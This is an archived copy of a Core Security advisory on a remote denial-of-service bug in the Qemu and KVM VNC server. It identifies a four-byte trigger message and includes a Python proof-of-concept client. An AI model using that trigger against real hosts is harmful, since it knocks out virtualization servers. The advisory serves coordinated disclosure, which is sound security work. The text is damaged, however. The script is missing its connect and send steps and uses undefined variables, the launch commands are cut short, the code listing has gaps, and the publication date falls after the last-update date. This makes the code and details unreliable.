AOH :: HP Unsorted Q :: VA2144.HTM

Qemu and KVM VNC server remote DoS

CORE-2008-1210: Qemu and KVM VNC server remote DoS
CORE-2008-1210: Qemu and KVM VNC server remote DoS

Hash: SHA1

      Core Security Technologies - CoreLabs Advisory 

            Qemu and KVM VNC server remote DoS

1. *Advisory Information*

Title: Qemu and KVM VNC server remote DoS
Advisory ID: CORE-2008-1210
Advisory URL: 
Date published: 2009-12-22
Date of last update: 2008-12-19
Vendors contacted: Qemu and KVM teams
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32910
CVE Name: N/A

3. *Vulnerability Description*

The VNC server of Qemu and KVM virtualization solutions are vulnerable
to a remote DoS, when specially crafted packets are received by the host
VNC server causing an infinite loop.

Successful exploitation causes the host server to enter an infinite loop
and cease to function. The vulnerability can be triggered remotely by
external hosts or virtualized guests. No special privileges are required
to perform the Denial of Service.

4. *Vulnerable packages*

   . Qemu 0.9.1 and older
   . kvm-79 and older

5. *Vendor Information, Solutions and Workarounds*

Qemu and KVM teams will release patches that fix this vulnerability.

6. *Credits*

This vulnerability was discovered and researched by Alfredo Ortega from
Core Security Technologies.

7. *Technical Description / Proof of Concept Code*

The function 'protocol_client_msg()' in the file 'vnc.c' ('qemu/vnc.c'
in kvm-66) is in charge of processing incoming VNC low-level messages. A
listing of the vulnerable source follows:


1185:	static int protocol_client_msg(VncState *vs, uint8_t *data, size_t
1186:	{
1187:	    int i;
1188:	    uint16_t limit;
1190:	    switch (data[0]) {


1201:	    case 2:
1202:		if (len == 1)
1203:		    return 4;
1205:		if (len == 4)
1206:		    return 4 + (read_u16(data, 2) * 4);

- -----------/

 When the VNC server receives a message consisting of '\x02\x00\x00\x00'
the 'read_u16()' function will return zero, and an infinite loop will be
triggered, because this function will be called with the len parameter
always equal to 4.

7.1. *Proof of Concept*

The following python script implements a basic VNC client that triggers
the vulnerability on the VNC server.

*NOTE:* Some VNC servers like KVM, don't bind to by default, but
the server can still be reached from a guest VM when no VNC client is



Launch vulnerable qemu:

~$qemu ./test.img - -vnc

Launch attack:

~$python localhost 5900

- -----------/


## vnc remote DoS

import socket
import time
import struct
import sys

if len(sys.argv)<3:
	print "Usage: %s host port" % sys.argv[0]

host = sys.argv[1] # "" # debian 4
port = int(sys.argv[2]) # 5900

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# rec-send versions
srvversion = s.recv(100)
print "Server version: %s" % srvversion

#Security types

print "Number of security types: %d" % ord(sec[0])

# Authentication result
if auth=="\x00\x00\x00\x00":
	print "Auth ok."

# Share desktop flag: no

# Server framebuffer parameters:

# Trigger the bug

10. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at 

11. *Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

12. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at 
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - 


The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to